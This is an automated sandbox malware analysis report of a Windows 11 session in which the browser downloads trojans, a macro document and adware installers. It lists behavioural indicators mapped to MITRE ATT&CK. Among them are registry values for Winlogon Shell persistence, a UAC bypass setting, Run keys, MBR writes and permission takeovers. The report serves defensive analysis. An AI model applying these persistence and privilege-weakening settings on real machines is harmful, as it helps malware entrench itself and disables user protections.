Malware Analysis Report

2024-09-11 05:40

Sample ID 240703-dyt65syhrq
Target https://google
Tags
bootkit discovery evasion execution exploit macro macro_on_action persistence ransomware trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

Threat Level: Known bad

The file https://google was found to be: Known bad.

Malicious Activity Summary

bootkit discovery evasion execution exploit macro macro_on_action persistence ransomware trojan

Modifies WinLogon for persistence

UAC bypass

Downloads MZ/PE file

Possible privilege escalation attempt

Office macro that triggers on suspicious action

Command and Scripting Interpreter: PowerShell

Blocklisted process makes network request

Disables Task Manager via registry modification

Executes dropped EXE

Loads dropped DLL

Modifies file permissions

Checks installed software on the system

Writes to the Master Boot Record (MBR)

Adds Run key to start application

Enumerates connected drives

Legitimate hosting services abused for malware hosting/C2

Sets desktop wallpaper using registry

Checks system information in the registry

Drops file in System32 directory

Drops file in Windows directory

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Suspicious use of SendNotifyMessage

Suspicious use of FindShellTrayWindow

Suspicious behavior: AddClipboardFormatListener

Modifies data under HKEY_USERS

Suspicious use of SetWindowsHookEx

Suspicious behavior: EnumeratesProcesses

Modifies registry class

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary

Delays execution with timeout.exe

Kills process with taskkill

NTFS ADS

Suspicious behavior: GetForegroundWindowSpam

Checks processor information in registry

Enumerates system info in registry

Modifies Control Panel

System policy modification

MITRE ATT&CK Matrix V13

Initial Access
TA0001
Execution
TA0002
Command and Scripting Interpreter
T1059
PowerShell
T1059.001
Persistence
TA0003
Boot or Logon Autostart Execution
T1547
Registry Run Keys / Startup Folder
T1547.001
Winlogon Helper DLL
T1547.004
Pre-OS Boot
T1542
Bootkit
T1542.003
Privilege Escalation
TA0004
Boot or Logon Autostart Execution
T1547
Registry Run Keys / Startup Folder
T1547.001
Winlogon Helper DLL
T1547.004
Abuse Elevation Control Mechanism
T1548
Bypass User Account Control
T1548.002
Defense Evasion
TA0005
Modify Registry
T1112
Abuse Elevation Control Mechanism
T1548
Bypass User Account Control
T1548.002
Impair Defenses
T1562
Disable or Modify Tools
T1562.001
File and Directory Permissions Modification
T1222
Pre-OS Boot
T1542
Bootkit
T1542.003
Credential Access
TA0006
Discovery
TA0007
Query Registry
T1012
Peripheral Device Discovery
T1120
System Information Discovery
T1082
Lateral Movement
TA0008
Collection
TA0009
Exfiltration
TA0010
Command and Control
TA0011
Web Service
T1102
Impact
TA0040
Defacement
T1491
Resource Development
TA0042
Reconnaissance
TA0043

Analysis: static1

Detonation Overview

Reported

2024-07-03 03:25

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-07-03 03:25

Reported

2024-07-03 03:42

Platform

win11-20240611-en

Max time kernel

1007s

Max time network

1019s

Command Line

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://google

Signatures

Modifies WinLogon for persistence

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, wscript.exe \"C:\\windows\\winbase_base_procid_none\\secureloc0x65\\WinRapistI386.vbs\"" C:\Users\Admin\AppData\Local\Temp\54DC.tmp\gdifuncs.exe N/A

UAC bypass

evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Users\Admin\AppData\Local\Temp\54DC.tmp\gdifuncs.exe N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Disables Task Manager via registry modification

evasion

Downloads MZ/PE file

Office macro that triggers on suspicious action

macro macro_on_action
Description Indicator Process Target
N/A N/A N/A N/A

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\windows\SysWOW64\takeown.exe N/A
N/A N/A C:\windows\SysWOW64\icacls.exe N/A
N/A N/A C:\Windows\SysWOW64\takeown.exe N/A
N/A N/A C:\Windows\SysWOW64\icacls.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\Downloads\robux.exe N/A
N/A N/A C:\Users\Admin\Downloads\robux.exe N/A
N/A N/A C:\Users\Admin\Downloads\Setup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\nsdC985.tmp N/A
N/A N/A C:\Users\Admin\PCAppStore\PcAppStore.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\PcAppStoreWatchdog.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\Downloads\HorrorTrojan Ultimate Edition.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\54DC.tmp\mbr.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\54DC.tmp\jeffpopup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\54DC.tmp\bobcreep.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\54DC.tmp\gdifuncs.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\Downloads\Setup.exe N/A
N/A N/A C:\Users\Admin\Downloads\Setup.exe N/A
N/A N/A C:\Users\Admin\Downloads\Setup.exe N/A
N/A N/A C:\Users\Admin\Downloads\Setup.exe N/A
N/A N/A C:\Users\Admin\Downloads\Setup.exe N/A
N/A N/A C:\Users\Admin\Downloads\Setup.exe N/A
N/A N/A C:\Users\Admin\Downloads\Setup.exe N/A
N/A N/A C:\Users\Admin\Downloads\Setup.exe N/A
N/A N/A C:\Users\Admin\Downloads\Setup.exe N/A
N/A N/A C:\Users\Admin\Downloads\Setup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\nsdC985.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\nsdC985.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\nsdC985.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\nsdC985.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\nsdC985.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\nsdC985.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\nsdC985.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\nsdC985.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\nsdC985.tmp N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\icacls.exe N/A
N/A N/A C:\windows\SysWOW64\takeown.exe N/A
N/A N/A C:\windows\SysWOW64\icacls.exe N/A
N/A N/A C:\Windows\SysWOW64\takeown.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2394516847-3409208829-2230326962-1000\Software\Microsoft\Windows\CurrentVersion\Run\PCAppStore = "\"C:\\Users\\Admin\\PCAppStore\\PCAppStore.exe\" /init default" C:\Users\Admin\AppData\Local\Temp\nsdC985.tmp N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2394516847-3409208829-2230326962-1000\Software\Microsoft\Windows\CurrentVersion\Run\PcAppStoreUpdater = "\"C:\\Users\\Admin\\PCAppStore\\AutoUpdater.exe\" /i" C:\Users\Admin\AppData\Local\Temp\nsdC985.tmp N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2394516847-3409208829-2230326962-1000\Software\Microsoft\Windows\CurrentVersion\Run\PcAppStoreWatchdog = "\"C:\\Users\\Admin\\PCAppStore\\PcAppStoreWatchdog.exe\" /guid=4FE6C4A2-E24C-4FF6-90F9-E1096F1CC12AX /rid=20240703033512.242241179984 /ver=fa.1091o" C:\Users\Admin\AppData\Local\Temp\nsdC985.tmp N/A

Checks installed software on the system

discovery

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\F: C:\Users\Admin\PCAppStore\PcAppStore.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A raw.githubusercontent.com N/A N/A
N/A raw.githubusercontent.com N/A N/A

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File opened for modification \??\PhysicalDrive0 C:\Users\Admin\AppData\Local\Temp\54DC.tmp\mbr.exe N/A

Checks system information in the registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File created C:\Windows\System32\DriverStore\FileRepository\display.inf_amd64_01cf530faf2f1752\display.PNF C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
File created \??\c:\windows\system32\driverstore\filerepository\display.inf_amd64_01cf530faf2f1752\display.PNF C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A

Sets desktop wallpaper using registry

ransomware
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2394516847-3409208829-2230326962-1000\Control Panel\Desktop\Wallpaper = "c:\\bg.bmp" C:\Windows\system32\reg.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\windows\WinAttr.gci C:\Users\Admin\AppData\Local\Temp\54DC.tmp\gdifuncs.exe N/A
File opened for modification \??\c:\windows\WinAttr.gci C:\Windows\SysWOW64\cmd.exe N/A
File opened for modification C:\Windows\SystemTemp C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
File created \??\c:\windows\winbase_base_procid_none\secureloc0x65\gdifuncs.exe C:\Windows\system32\cmd.exe N/A
File opened for modification \??\c:\windows\winbase_base_procid_none\secureloc0x65\gdifuncs.exe C:\Windows\system32\cmd.exe N/A
File created \??\c:\windows\winbase_base_procid_none\secureloc0x65\mainbgtheme.wav C:\Windows\system32\cmd.exe N/A
File opened for modification \??\c:\windows\winbase_base_procid_none\secureloc0x65\mainbgtheme.wav C:\Windows\system32\cmd.exe N/A

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\SysWOW64\timeout.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A

Modifies Control Panel

evasion
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2394516847-3409208829-2230326962-1000\Control Panel\Cursors\Hand = "C:\\Windows\\winbase_base_procid_none\\secureloc0x65\\rcur.cur" C:\Users\Admin\AppData\Local\Temp\54DC.tmp\gdifuncs.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2394516847-3409208829-2230326962-1000\Control Panel\Cursors\Arrow = "C:\\Windows\\winbase_base_procid_none\\secureloc0x65\\rcur.cur" C:\Users\Admin\AppData\Local\Temp\54DC.tmp\gdifuncs.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2394516847-3409208829-2230326962-1000\Control Panel\Cursors\AppStarting = "C:\\Windows\\winbase_base_procid_none\\secureloc0x65\\rcur.cur" C:\Users\Admin\AppData\Local\Temp\54DC.tmp\gdifuncs.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC C:\Windows\system32\svchost.exe N/A
Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey C:\Windows\system32\svchost.exe N/A
Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft C:\Windows\system32\svchost.exe N/A
Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography C:\Windows\system32\svchost.exe N/A
Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133644513218560816" C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Key created \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey C:\Windows\system32\svchost.exe N/A
Key created \REGISTRY\USER\S-1-5-19 C:\Windows\system32\svchost.exe N/A
Key created \REGISTRY\USER\S-1-5-19\SOFTWARE C:\Windows\system32\svchost.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2394516847-3409208829-2230326962-1000\{DEC215D9-B532-40C5-9DD3-90128D0462A2} C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2394516847-3409208829-2230326962-1000_Classes\Local Settings C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

NTFS ADS

Description Indicator Process Target
File opened for modification C:\Users\Admin\Downloads\metrofax.doc:Zone.Identifier C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
File opened for modification C:\Users\Admin\AppData\Local\Temp\{39D3EB20-B553-4ED2-AC78-F013DA912FB8}\8tr.exe:Zone.Identifier C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
File opened for modification C:\Users\Admin\Downloads\HorrorTrojan Ultimate Edition.exe:Zone.Identifier C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
File opened for modification C:\Users\Admin\Downloads\a.htm:Zone.Identifier C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
File opened for modification C:\Users\Admin\Downloads\Unconfirmed 299374.crdownload:SmartScreen C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
File opened for modification C:\Users\Admin\Downloads\Unconfirmed 927304.crdownload:SmartScreen C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
File created C:\Users\Admin\PCAppStore\assets\images\css2?family=Inter:wght@400;500;600;700&family=Open+Sans:wght@400;600;700&family=Roboto:wght@400;500;700&display=swap C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
File opened for modification C:\Users\Admin\Downloads\MadMan.exe:Zone.Identifier C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
File opened for modification C:\Users\Admin\Downloads\Unconfirmed 978431.crdownload:SmartScreen C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
File opened for modification C:\Users\Admin\Downloads\Unconfirmed 483068.crdownload:SmartScreen C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
File opened for modification C:\Users\Admin\Downloads\Unconfirmed 250813.crdownload:SmartScreen C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
File opened for modification C:\Users\Admin\Downloads\Setup.exe:Zone.Identifier C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
File opened for modification C:\Users\Admin\Downloads\Unconfirmed 5630.crdownload:SmartScreen C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
File opened for modification C:\Users\Admin\Downloads\Walker.com:Zone.Identifier C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
File opened for modification C:\Users\Admin\Downloads\robux.exe:Zone.Identifier C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
File opened for modification C:\Users\Admin\Downloads\free bobux.bat:Zone.Identifier C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
File opened for modification C:\Users\Admin\Downloads\Unconfirmed 681884.crdownload:SmartScreen C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
File opened for modification C:\Users\Admin\Downloads\Unconfirmed 134474.crdownload:SmartScreen C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Users\Admin\Downloads\Setup.exe N/A
N/A N/A C:\Users\Admin\Downloads\Setup.exe N/A
N/A N/A C:\Users\Admin\Downloads\Setup.exe N/A
N/A N/A C:\Users\Admin\Downloads\Setup.exe N/A
N/A N/A C:\Users\Admin\Downloads\Setup.exe N/A
N/A N/A C:\Users\Admin\Downloads\Setup.exe N/A
N/A N/A C:\Users\Admin\Downloads\Setup.exe N/A
N/A N/A C:\Users\Admin\Downloads\Setup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\nsdC985.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\nsdC985.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\nsdC985.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\nsdC985.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\nsdC985.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\nsdC985.tmp N/A
N/A N/A C:\Users\Admin\PCAppStore\PcAppStoreWatchdog.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\PcAppStoreWatchdog.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\PcAppStoreWatchdog.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\PcAppStoreWatchdog.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\PcAppStore.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\PcAppStore.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\PcAppStore.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\PcAppStore.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\PcAppStore.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\PcAppStore.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\PcAppStore.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\PcAppStore.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
